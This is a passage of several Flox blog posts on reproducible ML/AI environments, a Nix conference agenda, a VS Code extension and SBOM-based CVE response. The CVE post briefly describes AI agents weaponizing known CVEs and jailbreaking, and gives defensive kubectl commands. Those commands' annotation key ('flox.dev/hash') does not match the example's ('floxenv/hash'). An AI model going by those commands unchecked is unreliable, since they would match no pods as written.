SM, CUDA, and Python combination. It also helps you keep older hardware in production. A generic vLLM build might target SM 80+ and leave your older Tesla T4 GPUs behind; a GPU-specific build lets you target exactly what you have. The [Flox CUDA Kickstart program](https://flox.dev/cuda-kickstart) helps you customize and implement these patterns for your own AI/ML CUDA workloads. To get started, sign up [here](https://flox.dev/cuda-kickstart/#access), or explore [FloxHub](https://hub.flox.dev) and start downloading pre-built Flox environments for agentic development, enterprise-grade production inferencing, model requantization, and other use cases. Title: Reproducible, Auditable ML/AI for Capital Markets with Flox Source: https://flox.dev/blog/reproducible-auditable-ml-ai-for-capital-markets-with-flox/ Date: 2026-03-16 Category: guide # Reproducible, Auditable ML/AI for Capital Markets with Flox Learn how firms in capital markets use Flox to deliver ML/AI workloads faster and more reliably, with deterministic SBOMs, controlled rollbacks, and the ability to run conflicting dependency stacks side by side. ## tl;dr For firms in capital markets, Flox enables: - Shorter delivery cycles for ML/AI workloads, reduced rebuild-and-distribute overhead - Safer upgrades and reversions via versioned environment definitions - A declarative environment spec becomes the unit of promotion across the SDLC, from local dev to prod - Better visibility for security, compliance, and audit into what runs in production - A more resilient, adaptable operational posture as market conditions and models change ## Capital Markets and AI/ML Firms in capital markets train custom ML/AI models for quantitative research, model-driven trading, risk management, and other operations. ML/AI workloads depend on a fragile matrix of compatible NVIDIA CUDA, Python, native libraries, and other dependencies. This fragility makes it challenging to ship production-grade releases quickly while controlling for operational, compliance, and supply-chain risk. Firms trust Flox to provide a fast, secure, repeatable path from R&D to production for ML/AI workloads. Flox is a cross-platform, cross-toolchain package manager and build system, based on open source Nix. It provides traceable, auditable provenance; generates deterministic SBOMs; simplifies CVE triage and remediation; and permits controlled, atomic upgrades (or rollbacks) without disrupting operations. Firms in capital markets rely on Flox to ensure their ML/AI workloads run reproducibly _everywhere_. Figure: Capital Markets Problem and Solution ## The challenge: Moving fast _without_ breaking things To enable that fast, secure path from R&D to production, firms need to tighten their ML/AI → build → validate → release loops. At a minimum, this means each ML/AI release needs to meet four basic requirements: - **Compatibility with existing systems and workflows**. New workloads can't break older ones; multiple generations of models and tooling need to coexist on the same machine/infrastructure. - **Repeatable results**. Different teams must be able to reproducibly run the same workloads in research, testing, and production. ML/AI models that run in R&D and testing _must_ run the same way in prod. - **Predictable, controlled change management**. Leaders and auditors need clear visibility into what changed and what's being deployed, as well as a fast, reliable path to roll back when something goes wrong. - **Improved visibility across the software supply chain**. Security and compliance teams need an accurate, up-to-date view of what software is running, where it came from, and how to respond when CVEs drop. Figure: Release Loop Requirements Many organizations attempt to address these requirements with virtual machine (VM) or container images. These approaches work well for conventional workloads, but for GPU-accelerated ML/AI workloads, where toolkits, frameworks, and libraries must exactly line up, they come with several unacceptable drawbacks. ## For ML/AI stacks, containers aren't always an obvious answer Both VM and container patterns isolate ML/AI dependencies by packaging them into image files. This quarantines CUDA, Python, and other dependencies and prevents them from conflicting with one another. The VM or container image also doubles as a portable artifact for shipping the complete ML/AI stack. The problem with this pattern is that the **multi-gigabyte VM or container image itself** becomes the unit of promotion. This is less of an issue with VM images than with container (i.e., OCI) images, which routinely need to be rebuilt when patching bugs, or when CUDA, Python, native libraries, or base images change. In ML/AI, the typical container development loop looks like this: Figure: Container Rebuilt Loop This has the following real-world effects: - Container images are time-consuming to build, test, and change. - Container-based workflows do not neatly align with every firm's SDLC practices and patterns. - The container model makes specific assumptions about how ML/AI research teams work, as well as the types of hardware teams have access to in local dev, eval, CI, and production. - ML/AI stacks produce very large OCI images: usually multiple gigabytes, sometimes _tens_ of gigabytes. ## Flox makes software change predictable—and reversible Flox was spun out of hedge fund the D. E. Shaw group, which engineered an early Flox-like prototype to serve as a user-friendly frontend for Nix. Even though Nix is a hugely powerful solution for building, packaging, and running software, many non-programmers find it intimidating to learn and use. Flox uses TOML-defined environments in place of the Nix language. It surfaces an intuitive developer workflow, with familiar CLI semantics similar to **`git`** or **`npm`**. It combines an imperative CLI frontend with FloxHub, a central registry that teams use to version, manage, and share Flox environments, as well as generate deterministic SBOMs. The curated Flox Catalog indexes more than five years of package-version combinations, so teams can easily discover and install new and historical versions of packages. Like Nix, Flox supports reproducible builds, with results teams can publish to a private catalog and install anywhere. Flox environments address two distinct SDLC requirements: **Flox Runtime environments**. A declared set of everything required to _reproducibly run_ ML/AI workloads, including CUDA and Python dependencies, performance-accelerated libraries, ML/AI models, etc. **Flox build environments**. A declared set of everything required to _reproducibly build and package_ ML/AI software—including checkpoint models, signals, and datasets—into versioned, immutable packages. **Flox gives teams a controlled, repeatable path from prototype to production**. Teams use Flox to create declarative environments that pull in the software dependencies their ML/AI workloads need to build or run. Flox runtime environments execute in a partially isolated context, so CUDA, Python, and other dependencies that would otherwise conflict can coexist. Flox build environments run in a completely isolated sandbox. Figure: Prototype to Production With Flox, the _declarative environment_, not the OCI image, becomes the artifact that teams version, review, and promote. This means the same Flox environments that ML/AI researchers create and use in training can travel across the SDLC: through eval and CI, hardening by MLOps teams, to production deployment—and back again. Flox environments work on Apple, Linux, and Windows (with WSL2) systems, on bare metal or in VMs. They run natively on x86 or ARM chips, and take advantage of GPU acceleration (NVIDIA CUDA and Apple Metal). MLOps Teams can use them as declarative recipes to build minimal container images for testing or prod; optionally, Flox environments can run _without_ containers on Kubernetes GPU clusters. ## Key benefits for capital markets firms By adopting Flox, firms in capital markets say they've realized the following concrete benefits: ### 1. Faster delivery of time-critical ML/AI assets Teams can iterate without constantly rebuilding + redistributing massive image artifacts to test dependency changes. This tightens feedback loops and speeds the path from validated PoC to production rollout. ### 2. Conflicting software stacks easily coexist New and legacy ML/AI workloads can run side by side on shared infrastructure, each getting access to the dependency set it requires. Researchers iterate quickly and ship what they build without breaking production. ### 3. Fits into existing workflows + simplifies rollback Flox defines the environment and the software used to run an ML/AI workload as a versioned, declarative specification, so leaders and reviewers can see what changed before and after a deployment. If a rollout causes issues, reverting is an atomic switch to a prior version—e.g., editing the reference to a Git commit. ### 4. Improved security + a stronger, more resilient audit posture Flox makes it possible to provide authoritative answers to "what's running?" and "where did it come from?" because the complete dependency tree is explicit and traceable from any built package's outputs. This supports software inventory, improves vulnerability response, and simplifies audit workflows. Figure: Flox Benefits Quadrants ## The Bottom line For firms in capital markets, Flox is the key to delivering and operationalizing cutting-edge ML/AI software. With Flox, ML/AI teams can iterate much more rapidly and ship much more reliably. With Flox, organizations get SBOMs by default, so infosec and compliance teams always know which versions of which software are running in production. With Flox, organizations get a deterministic audit trail that records what changed, when, by whom, and how. With Flox, finally, organizations are able to move fast _without_ breaking anything. Flox is battle-tested in capital markets, where teams use it to build, train, harden, and run production ML and inference workflows with NVIDIA Triton Inference Server, vLLM, llama.cpp, PyTorch, ONNX Runtime, and other ML frameworks. To learn more about the Flox CUDA Kickstart Program, visit our [resource site](https://flox.dev/cuda-kickstart); you can also clone and run example public resources from the **`flox-cuda`** [github repo](https://github.com/flox/flox-cuda). Title: PlanetNix 2026: Is Now the Time for Nix? Source: https://flox.dev/blog/planetnix-2026-is-now-the-time-for-nix/ Date: 2026-03-03 Category: guide # PlanetNix 2026: Is Now the Time for Nix? A look at the Planet Nix 2026 agenda and what Flox is bringing to the conversation around AI, reproducibility, and the evolving SDLC [PlanetNix](https://planetnix.com/) returns to Pasadena on March 5–6, co-located with [SCaLE 23x](https://www.socallinuxexpo.org/scale/23x), for two full days dedicated to people building real systems with [Nix](https://nixos.org/)! We couldn't be more excited to host it with the help of amazing Planetary Partners: [PDT Partners](https://pdtpartners.com/), [Express VPN](https://www.expressvpn.com/), [Southern California Nix User Group](https://socal-nug.com/), [Anthropic](https://www.anthropic.com), and [Numtide](https://numtide.com/). This edition is revolving around reproducibility, modern software workflows and AI. We're bringing [25+ talks and workshops](https://planetnix.com/agenda) across two tracks, so if you haven't registered yet, you can get in with an Expo Pass or a [full SCaLE pass](https://register.socallinuxexpo.org/reg23/?_gl=1*12lgz9n*_ga*NDk4Nzc0MzE1LjE3NzI1NjYxODc.*_ga_FPM4BHDCS5*czE3NzI1NjYxODYkbzEkZzAkdDE3NzI1NjYxODYkajYwJGwwJGgw)! ## Flox at PlanetNix 2026: AI, Security, and the Deterministic SDLC At PlanetNix 2026, we're highlighting how Flox supports secure, reproducible systems across the AI software lifecycle. ### Reproducibility Meets Governance: Built-In SBOMs As teams scale, dependency complexity increases. Security reviews, audits, and operational stability require precise visibility into what's actually running. At Planet Nix, we're highlighting how Flox integrates that visibility directly into the development workflow. Tl:dr: FloxHub generates SBOMs at two levels, available now: **Flox Catalog SBOMs**. Get SBOMs for every package tracked by the Flox Catalog: more than 190,000 distinct Nixpkgs packages spanning _millions_ of historical package-version combinations. Free for all users. **Environment SBOMs**. SBOMs scoped to Flox environments, showing exactly which versions of which dependencies are present in each specific generation environment. Available to Flox commercial users. [Reach out](http://www.flox.dev/secure-software-by-construction) to learn about forthcoming features, like PURL (Package URL), CPE (Common Platform Enumeration), and checksum enrichment or come by our booth! ### CUDA for Nix: Now Generally Available We'll also discuss what CUDA general availability in the Flox Catalog enables for Nix users. In partnership with the Nix Foundation and NVIDIA, Flox is shipping prebuilt CUDA-accelerated packages, including the NVIDIA CUDA Toolkit, PyTorch, NVIDIA TensorRT, and more. Flox and Nix users can pull ready-to-run CUDA packages from Flox's binary cache in seconds or minutes, rather than hours. Works automatically with Flox CLI; Nix users add **`https://cache.flox.dev`** as a substituter. ### Live at the Flox Booth #### CUDA Environments in Action Stop by the Flox booth to try ready-to-activate AI environments running on CUDA hardware: - ComfyUI with CUDA, Metal/MPS, or CPU acceleration - vLLM for single-node, multi-GPU model serving - Ollama with Next.js or Open WebUI frontends - llama.cpp serving environments - Live model quantization — requantize foundation models on the fly in a CI-ready environment - And more Every environment is declarative, reproducible, and runs in user space: no containers, no VMs, no changes to the host system. Come see how simple Flox makes it to go from zero to a working CUDA runtime. #### Inside Flox: Structured Agentic Engineering We'll also walk through how we run structured agentic engineering at Flox through Forge, layering on our own workflow conventions. Markdown-defined guardrails and quality rules defined in `forge.yaml` ensure that agents follow team norms. We also structure work as repeatable workflows (i.e., bounded "efforts" and "slices") using Forge to run workflows with repo-aware context, so agents stay grounded in the actual codebase. When they need to go outside the codebase, we connect external tools via Forge's MCP support for end-to-end multi-agent workflows. We'll walk through how we author guardrails, organize context, and define workflows while keeping quality high. ### The Broader Conversations at PlanetNix 2026: A Closer Look at the Agenda Beyond Flox updates, [the agenda at Planet Nix 2026](https://planetnix.com/agenda) centers on the intersection of Nix, AI, and the evolving software development lifecycle. ### Nix, AI, and the SDLC The conference opens with **Is Now the Time for Nix?** by Ron Efroni Rotman and Kelsey Hightower. Their discussion centers on Nix, AI, and the present and future of the SDLC. AI amplifies an already high-complexity status quo, with agents refactoring code, running builds, and managing production. Nix brings reproducibility, determinism, declarative environments, and atomic rollbacks across OSes, architectures, and infrastructure. Thus the question: is now the time for Nix? Are we heading toward a future where Nix provides the deterministic foundation for agentic automation at scale? AI appears again in **Nix and AI, Are We There Yet?** by Michael Stahnke. AI stacks look like the perfect use-case for Nix: massively multiplying dependency matrices, double-digit-GB OCI images, and Sisyphean build → push → pull → test loops. In ML/AI dev, "It runs" literally means "It runs … on this machine." The talk asks why more ML teams aren't using Nix, whether Nix fits the conveyor belt teams already ship on, or whether ML teams must adopt a new way to build, ship, and deploy software. ### Containers, Kubernetes, and Runtime Tradeoffs Containerization and Kubernetes are once again central themes, but this year's talks go deep into the runtime plumbing, exploring how container root filesystems get assembled; how runtimes enforce isolation; and how Nix-based tooling fits into OCI image workflows. In **From Unsustainable to Efficient: Runtime Package Layering Breaks the Container Bloat Cycle**, Priya Ananthasankar addresses the problem of unsustainable container bloat in managed services. Traditional "shift-left" approaches aim for reproducible, locked-down production behavior by baking all tools and dependencies into OCI images. But workload needs vary, so this forces a tradeoff: do you ship one bloated catch-all image … or manage a fragmented fleet of specialized images? Runtime package layering resolves this by using a minimal, security-scanned base image for isolation while Flox pulls in pinned versions of packages at runtime. Flox environments keep tools fresh without adding bloat to base images. Stability and runtime reproducibility come from pinning; freshness comes via Nix/Flox. Morgan Helton's **From Nix to Kubernetes: No Image Layover** explores how to deploy workloads on Kubernetes using Nix without going through conventional OCI image builds. By examining how containerd actually creates a container—interpreting metadata, preparing a rootfs, assembling a runtime spec—Morgan's talk shows that methods beyond unpacking image layers are possible: e.g., a rootfs can be assembled directly from Nix store paths, or a materialized Nix closure can be mounted as a volume. ### Scaling Builds and Monorepos As Nix adoption matures, distributed builds and large codebases become unavoidable topics. In **The Missing Part of Nix (And Where to Find It)**, Bernardo Meurer Costa from Anthropic argues that Nix gives you nearly all the primitives needed for robust and scalable builds, _except_ the actual build distribution piece. The talk examines what Nix does right for distributed builds, what options exist today to implement build distribution, and how the community might close this gap. Burke Libbey's **Tectonix: The bedrock of Shopify's Monorepo** offers a rare look inside Shopify's Nix-based build system for its "World" monorepo, assembling git sparse-checkouts, the NixOS module system, and supplemental tooling into a production-grade Nix monorepo build system. ### Reproducibility, Governance, and the Ecosystem PlanetNix 2026 also addresses the bigger ecosystem questions that come with growth. In **Reproducibility as a Social Contract**, Stormy Peters and James Bayer explore reproducibility as the shared expectation that lets teams and communities collaborate without re-litigating environments or "works on my machine." As automation produces more of what we ship, they ask whether reproducibility is now non-negotiable. Ron Efroni Rotman's **A Secure Nix State of the Union** dives into how to ensure the secure sustainability of the Nix ecosystem, covering milestones in infrastructure and governance and examining what it takes to create and maintain a robust environment for years to come. The governance panel, **Steering the Future of NixOS: Governance, Growth, and Community**, brings together Nix Foundation and Nix Steering Committee leaders to discuss sustainability, scaling collaboration, and the future of security in NixOS. ### Testing, Hardware, and the Edge Several sessions dig into the lower layers of the stack. Jacek Galowicz's sessions on the **NixOS Integration Test Driver** explore architectural changes that separate the test frontend from the virtualization backend, enabling lightweight container testing and GPU/CUDA testing inside sandboxes, as well as reducing CI overhead. Yuning Liang and Tristan Ross's **NixOS' No-Turning-Back Journey on RISC-V: Vision, Porting Progress, and the Road Ahead** traces the effort to bring NixOS to RISC-V as that architecture becomes first-class for Linux. Eelco Dolstra's **builtins.wasm: Nix Meets WebAssembly** addresses a persistent pain point: Nix users often need non-trivial computation at evaluation time (when parsing YAML, for example), but the Nix language is slow and memory-hungry for such tasks. Common workarounds like adding specialized builtins or using import-from-derivation each introduce problems of their own. Eelco's talk proposes a single new function, `builtins.wasm`, that lets users execute WebAssembly during Nix evaluation. Because WASM can be used as a pure language, it fits naturally within Nix's evaluation model. The talk also explores a bigger possibility: a `wasm` system type that would enable _platform-independent_ derivations. ### Community Tables and After Hours Beyond the formal talks, PlanetNix keeps space for builders. A limited number of free Community Tables are available for teams and individuals who want to demo tools, workflows, and live projects. And when the sessions wrap, the PlanetNix Afterparty keeps the conversations going! PlanetNix 2026 is only possible because of the speakers, partners, and the broader Nix community who continue to push the ecosystem forward. Thank you to everyone sharing their work, supporting the event, and building real systems with Nix! We're excited to bring you all together in Pasadena. Title: Reproducible Dev Environments in Your Workflow with Flox and VS Code Source: https://flox.dev/blog/reproducible-dev-environments-in-your-workflow-with-flox-and-vs-code/ Date: 2026-01-30 Category: guide # Reproducible Dev Environments in Your Workflow with Flox and VS Code The Flox VS Code extension integrates cleanly with the industry’s most popular IDE. It makes it simple to create, modify, activate, and monitor Flox environments from directly within your VS Code daily driver. [Flox’s VS Code extension](https://marketplace.visualstudio.com/items?itemName=flox.flox) integrates cleanly with the industry’s most popular IDE. It makes it simple to create, modify, activate, and monitor Flox environments from directly within your VS Code daily driver. Vroom, vroom. Under the hood, the Flox extension hooks into VS Code’s workspace and integrated terminal lifecycle. This means Flox environments always start pre-activated, with VS Code surfacing clickable controls you can use to get info about environments and services (what’s installed, versions, services, logs) in its sidebar. The Flox VS Code extension is especially useful for agentic workflows. New, agent-initiated shell processes spawn with pre-configured packages and automations, so agents don’t need to know anything about Flox. Vroom, vroom indeed. ## Flox VS Code Integration: What You Can Do The extension focuses on a few high-value tasks that teams repeat dozens of times per day. **Auto-activate Flox in new terminals** When you open a new terminal session within VS Code, that process always spawns with the correct Flox environment already activated. This is most noticeable when something else is creating terminals for you: - **Test runners spawn new shell sessions**. Some test runners spawn child processes (subshells); auto-activation makes sure these subshells inherit the right tools**`$PATH`** so tests run without human oversight. - **Scripts open new shell sessions**. Some scripts spawn new terminals/subshells for isolation or interactivity; with auto-activation the new terminal comes up with the correct **`$PATH`** and other env vars. - **Agentic tools spawn new terminal shell sessions**. Agents can start work in pre-activated Flox environments, getting automatic access to required dependencies, env vars, built-in functions, aliases, etc. **See what packages are installed** The VS Code sidebar now gives you an at-a-glance view of what’s in your Flox environment, including installed packages, as well as which versions of packages you’re currently using. It also gives you a fast path (one-click access) to common actions like initializing, installing packages into, or activating environments. And because it’s VS Code, you can also declaratively edit environments, just as you’d edit or compose code—by making changes to the environment’s TOML manifest, with the same familiar VS Code workflow. Saving your changes prompts the extension to reload your environment and refresh the sidebar. If the manifest contains an error, the extension logs details in `Output → Flox`. (VS Code doesn’t currently flag the issue inline in the editor.) **Manage services and view logs** If your Flox environment includes services, you get a helpful control surface in the VS Code sidebar: - See service status - Start/stop/restart services - Open/follow logs from the UI while you iterate You can achieve a similar effect in a TUI with a multiplexer, but the VS Code UX is arguably more intuitive. This isn’t limited to local workspaces, either: auto-activation also works when VS Code runs your workspace remotely. **Auto-activate Flox in remote workspaces, too** VS Code can run your workspace on a remote host (Remote-SSH), inside a container (Dev Containers), or in WSL, not just on your local machine. The Flox extension reliably activates the appropriate Flox environment **in that remote target**, so integrated terminals, tasks, tests, and agent-spawned shells all start with the expected **`$PATH`** and environment variables. The only requirement is that Flox needs to be installed on the remote system. Here’s how this works: - Open a project over SSH, spawn pty sessions that start with the expected Flox environment activated on the remote host. - Build/open a dev container workspace and get the same auto-activated Flox context in integrated terminal sessions and spawned processes. - When working with VS Code and WSL2, terminal sessions + task/debug shells pick up the expected Flox environment, along with all environment variables, packages, automation logic, services, etc. ## How Flox Integrates with VS Code Auto-activation isn’t “just” a convenient feature: it’s the foundation for meaningful integration with VS Code, formalizing the context in which shell sessions spawn and run. Think about it: When your workflow (tests, scripts, agents) spawns a new shell process, that child process starts with the same working context as the VS Code workspace. This eliminates “works on my machine” within your editor context. That’s essential. Basically, when you: - Open a workspace that contains (or points to) a Flox environment, the extension recognizes it. - Spawn a new integrated terminal, the extension activates the environment for that terminal. - Glance at the sidebar, the extension surfaces information about your Flox environments and services. Best of all, the extension surfaces UI buttons that map to operations you already perform with the Flox CLI. ## Getting it: install and first run The Flox VS Code extension installs like any other VS Code extension. - Open **Extensions** in VS Code. - Search for **“Flox”**. - Click **Install** (VS Code may prompt you to reload). Then: 1. Open a project that uses a Flox environment. 2. Look for the Flox environment view in the sidebar. 3. Kick off a new integrated terminal to see auto-activation in action. ## Practical Tips for Using Flox in VS Code As with most if not all extensions, the Flox VS Code extension has a few rough edges. * **Heavily customized VS Code setups can behave predictably**. If you run lots of extensions, use remote/custom hosts, or have a heavily customized shell configuration, you might see odd behavior. If auto-activation or other integrations aren’t working, try the extension in a clean-slate VS Code profile. * **UI state occasionally lags**. In rare cases, the sidebar status can lag the actual service state for a moment after a start/stop, so you may briefly see a stale indicator while it refreshes. If something looks off, give it a moment; use the CLI as the source of truth when you need a definitive answer. * **Deactivation and “quit” edge cases**. Some users report scenarios where an environment doesn’t fully “quit” from the UI. If this happens, the CLI remains the most dependable route for activate/deactivate operations. Flox Labs is investigating (+ struggling to reproduce) this behavior, so feedback is welcome. * **Interactive install flows may render oddly inside integrated terminal sessions**. If an install or interactive terminal UI looks garbled in VS Code, run that step in an external terminal and then return to VS Code. ## Bringing it all back $HOME If you rely on VS Code as your daily driver, the extension makes Flox a fully enfranchised citizen in your in-editor workflow. Terminal sessions spawn pre-activated in the right Flox environment. The VS Code sidebar functions as a dashboard for All Things Flox, giving you an at-a-glance view of the environments you’re working with, and surfacing per-environment information about installed packages, services, and other details. Psst: Want to make Flox even better? Try [FloxHub](https://hub.flox.dev). It makes it easy for you and your teammates—or your AI agents!—to pull and run curated, ready-to-use Flox environments on demand. These pre-built environments span common workflows like cloud CLIs (AWS CLI, GitHub CLI); databases (Postgres, MariaDB, MySQL, Redis, MongoDB); containers and Kubernetes (KIND, Podman, Colima); workflow schedulers (Airflow, Dagster, Temporal, Prefect, Node-RED, n8n); streaming + batch compute (Kafka); notebooks (Jupyter), Node.js + Python dev envs; and ML tooling (ComfyUI, Ollama, OpenWebUI). FloxHub also distributes prebuilt and patched CUDA components (toolkit libraries, PyTorch, TensorFlow, and other dependencies) so GPU-capable environments behave reproducibly across machines. [Check ‘em out!](https://hub.flox.dev/flox) Title: CVEs Are Now Being Exploited Faster Than You Can Respond Source: https://flox.dev/blog/cves-are-now-being-exploited-much-faster-than-you-can-respond/ Date: 2026-01-28 Category: guide # CVEs Are Now Being Exploited Faster Than You Can Respond AI is shrinking the patch window to minutes. Input-addressed hashes + SBOM-driven policy enable you to prevent, detect, and remediate automatically. [Anthropic just announced](https://red.anthropic.com/2026/cyber-toolkits-update/) that Claude Sonnet 4.5 was able to replicate the Equifax data breach, without needing to look it up, just by recognizing the CVE. **Agents can weaponize a CVE in minutes** … just by leveraging public models and off-the-shelf tools, with a little help from some ill-intended prompting. Which means your window for remediation just slammed shut. Agentic code is already a firehose feeding a fistful of SDLC straws. Agents reach out for unsanctioned dependencies, add **`npm`** post-install cruft, hallucinate packages; their velocity outpaces review. Agents spit the bit, jailbreak, hop in the saddle. A lot of orgs won’t even be able to surface the existence of a vulnerable package, let alone act on it before there’s an active [Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) (KEV). Meaning what should be alert noise that gets logged for “next release,” or auto-ticketed for triage, turns into “breakglass” pager alerts. The answer isn’t more humans. You probably already have too many humans in the mix. And, as the television true-life docuseries _Black Mirror_ teaches us, don’t bring fleshware to a firmware fight. You need high-fidelity guardrails. More tower defense. Foundational integrity. Zero trust. The answer is deterministic infrastructure for probabilistic workloads: input-addressed hashing, living SBOMs, and policy automation that can **prevent** at admission, **detect** in milliseconds, and **remediate** before the attacker finishes their first scan. Move fast. Break nothing. Here. We. Go. ## Trust Is Math Agentic code rips the bandages off. The prevailing rituals—imperative, probabilistic, mutable, scan-and-pray—:none of it ever really worked. Machine-speed output just makes it impossible to ignore. Mathematical verification replaces human review as the basis of trust. No scanning. No sampling. No guesswork. **The Flox SBOM is a mathematical proof, not an inference**. If you're running containers in production, you may already be using content-addressed hashes. Docker digests. OCI manifests. Definitions like **`image: nginx@sha256:abc123…`**. **That's good. Keep doing that.** If you’re even doing that. [Statistically you aren’t](https://sarahnadi.org/assets/pdf/pubs/LinICSME20.pdf). And, even if you are, your layers are drifting. Probabilistically. On that note, let’s talk terms. “Ontological reproducibility” means that the same recipe **+** same inputs **=** bit-for-bit identical artifact. Anywhere. Anytime. Forever. Input-addressed hashing is how you prove it—the hash and the build are the same thing, not a description of each other. Reproducibility as a policy or compliance/audit goal misses the point entirely; what you're actually after is mathematical certainty. Imperative systems _aspire_ to reproducibility—run the same steps and you _should_ get the same results. _Probably_ will, even. Deterministic systems _guarantee_ it —same hash, same artifact, same results, always. Best practices can't beat physics. Even so, content-addressed hashing answers only one question: _are these the same bytes_? It proves integrity. It doesn't prove provenance. Input-addressing gives you provenance _and_ integrity. By definition. Two different build pipelines can produce the same tarball. Two different Dockerfiles, run at different times, pulling "latest" at different moments—same bytes, different lineage. The hash only tells you what _arrived_. It doesn't tell you _how_ it was built, or _from what_. Nor guarantee true reproducibility, without drift. When a CVE drops, you know the image is affected. You don't know _why_—which input, which version, which path through the dependency graph. I’m big on data. Data + AI is the epitome of garbage in, garbage out. Bad—or stale, or incomplete—data in your AI/ML jobs means inaccuracy and false or inflated confidence. ## The Solution: Hash-based trust and deterministic environments. For Flox, the environment—not the package, not the container, not the image—is the atomic unit of deployment, of security, of trust. Flox supports, but doesn't require images. When you need a container, you can materialize the runtime directly into a thin container at compose time. ([More on that here](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/).) The input-addressed hash lives _alongside_ your existing identifiers. An annotation, a label, a lookup key, a join on SBOM and pod lookup. Oh, and, you know, still also a hash. ``` metadata: annotations: floxorg/env: "acme/trading-engine" floxenv/hash: "abr8bb314wjx7z23zy9p53hywda6fzi3" ``` That hash becomes the primary key for everything downstream. When a CVE drops, you get a to-the-bit-level certainty if it matters, and you don't **`grep`** logs; rather, you (or your triage agents) query the hash: ``` kubectl get pods -A -o json | jq -r ' .items[] | select(.metadata.annotations["flox.dev/hash"]=="abr8bb314wjx7z23zy9p53hywda6fzi3") | [.metadata.namespace, .metadata.name, .status.phase, .spec.nodeName] | @tsv' | column -t NAMESPACE NAME STATUS NODE prod-trading trading-engine-7f8d9c4b5-2xklm Running node-pool-a-3 prod-trading trading-engine-7f8d9c4b5-9vjrn Running node-pool-b-1 prod-trading trading-engine-7f8d9c4b5-qw4ht Running node-pool-a-7 staging trading-engine-6c5d8a3f2-abo12 Running staging-node-2 dr-west trading-engine-7f8d9c4b5-dr001 Pending - ``` Automatic blast radius in milliseconds. And when it’s time to remediate? You, or your agents just: ``` # Cordon every node running affected pods kubectl get pods -A -o json | jq -r ' .items[] | select(.metadata.annotations["flox.dev/hash"]=="abr8bb314wjx7z23zy9p53hywda6fzi3") | .spec.nodeName' | sort -u | xargs -I{} kubectl cordon {} # Or block the hash at admission and let policy handle it # Kyverno, Gatekeeper, OPA—same pattern: "reject if flox.dev/hash in blocklist" ``` Automatable remediation. This filters all that new noise back down to sniper shot alerts, where a **breakglass really means “everyone, out of bed, now!”** And everything else is logged, ticketed, or heck, maybe even automatically rolled-back/upgraded/patched. The hash is the join key. You’re joining by matching **`pods.hash = artifacts.hash`**. So the hash becomes the common column that everything—your runtime inventory, your vulnerability intel, and your policy layer—can match on. Query it. Block it. Upgrade it. And, yes, still use it to prove provenance and integrity. The tooling you _already have_ becomes the enforcement layer for guarantees you _never had_. The result: faster detection, automated remediation, zero unauthorized execution. ## See It in Action I built a demo where **[FloxHub](https://flox.dev/docs/concepts/floxhub/)** sits at the center of the CVE correlation pipeline—ingest feeds from [NIST NVD](https://nvd.nist.gov/), [OSV](https://osv.dev/), [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog), and [FIRST EPSS](https://www.first.org/epss/) on one side, and feeds enriched SBOM data to your existing security toolchain on the other. Real-life CVE drops. I correlate against every SBOM, join by hash. Matches flow to Grafana dashboards, ELK, Splunk alerts, your existing [SCA](https://en.wikipedia.org/wiki/Software_composition_analysis) tools—BYOK or take-your-own-SBOM integrations with Snyk, FOSSA, Wiz, Black Duck—whatever you're already running. My demo also applies risk scoring. Tier assignment. [VEX](https://www.cisa.gov/resources-tools/resources/minimum-requirements-vulnerability-exploitability-exchange-vex) inference. All computed from the SBOM, all keyed to the hash, all in real time. These surface in Grafana based on severity +/- KEV, reachability, and so on. ## Build Time _Is_ Runtime There is no daylight between them. The closure doesn't describe the runtime—it _is_ the runtime. One artifact. One SBOM. Not what you think is running—what you know. In Flox the closure is a circle. Complete and closed by definition. Most security tools live in the gap between what they saw in a manifest and what they found when they scanned. Build-level accuracy tells you what they think is there. Deploy-level accuracy requires scanning artifacts after they ship, pattern-matching file hashes to known packages, hoping nothing got statically linked or obfuscated. Runtime accuracy normally requires agents observing what actually executes, and you only see what runs while you're watching. Each layer is rarer than the last The gap between these layers is where supply chain attacks live. [XZ Utils](https://en.wikipedia.org/wiki/XZ_Utils) wasn't in a manifest. It was hiding in plain sight in the [build closure](https://archive.md/wpvR3). Traditional tools missed it because they were scanning the wrong layer. Input-addressed environments close that gap. Flox doesn't tell you what _did_ execute. It tells you what _can_ execute—and nothing else. The closure is complete and hermetic: if it's in the graph, it can run; if it's not, it cannot. **One SBOM per hash**. Not per release. Not per "version." Every unique environment gets exactly one SBOM, and the hash _is_ the lookup key. **Pi doesn't change, no matter how the circle is measured**. **Correlation, not just inventory**. When that CVE drops, the question isn't "do we use this package?" It's "which hashes contain this package, and where are they running?" ## Known, Not Partial [DoD C-SCRM requirements](https://csrc.nist.gov/projects/cyber-supply-chain-risk-management/key-resources-and-activities) ask vendors to declare confidence in dependency relationships: _Known_, _Partial_, _None_, or _Unknown_. Most tools can only assert _Partial_ —even then, they infer the relationship from scanning. Statically linked libraries disappear into binaries. When a scanner says “we think we found **`openssl 3.1.4`**,” it’s talking about byte patterns that match. Flox asserts **Known** for every relationship. The deterministic graph is a mathematical property of how input-addressed builds work. And what's better than a base image with 500 known CVEs or even a hardened (for now) base image? **No base image at all**. Traditional container security means inheriting hundreds of CVEs from upstream layers you didn't choose. You scan, find vulnerabilities in packages you've never heard of, and file tickets that nobody owns, on code that never sees the light of runtime. Flox environments require no base image. The closure contains exactly what you declared—nothing inherited, nothing hidden. The environment is the artifact. Same reproducibility. **Zero mystery meat**. Defined is better than inferred. Runtime SBOMs prevent build-time false positives. Cryptographic identity. Deterministic reachability. ## Zero Trust Beats Zero CVE You will never have zero CVEs. It's a comfort metric. It's a shared suspension of disbelief as we all enter the security theater. It's a lie we all agree to believe. It's whack-a-mole with infinite tokens. [Everyone gets that, now](https://www.chainguard.dev/unchained/well-that-escalated-quickly-zero-cves-lots-of-vendors). But you can have zero unauthorized execution. Nothing runs without a valid hash, a verified signature, a clean policy check. Stop chasing "no vulnerabilities." Start enforcing "no execution without verification." One of those is a fantasy you will never reach. The other is something you can actually build. Compliance baked in, shifted as far left on the SDLC as you can get. As Yoda once said, "There is no trust, only verify." ## The Catalog Is Your Firewall **[The Flox Catalog](https://flox.dev/docs/concepts/packages-and-catalog/)** acts as a software firewall—a formal boundary between the creation and consumption of software. Only validated, tested builds pass through to production. Developers publish to the catalog. Operators deploy from the catalog. Production credentials never touch the inner loop. This is where **prevent**, **detect**, 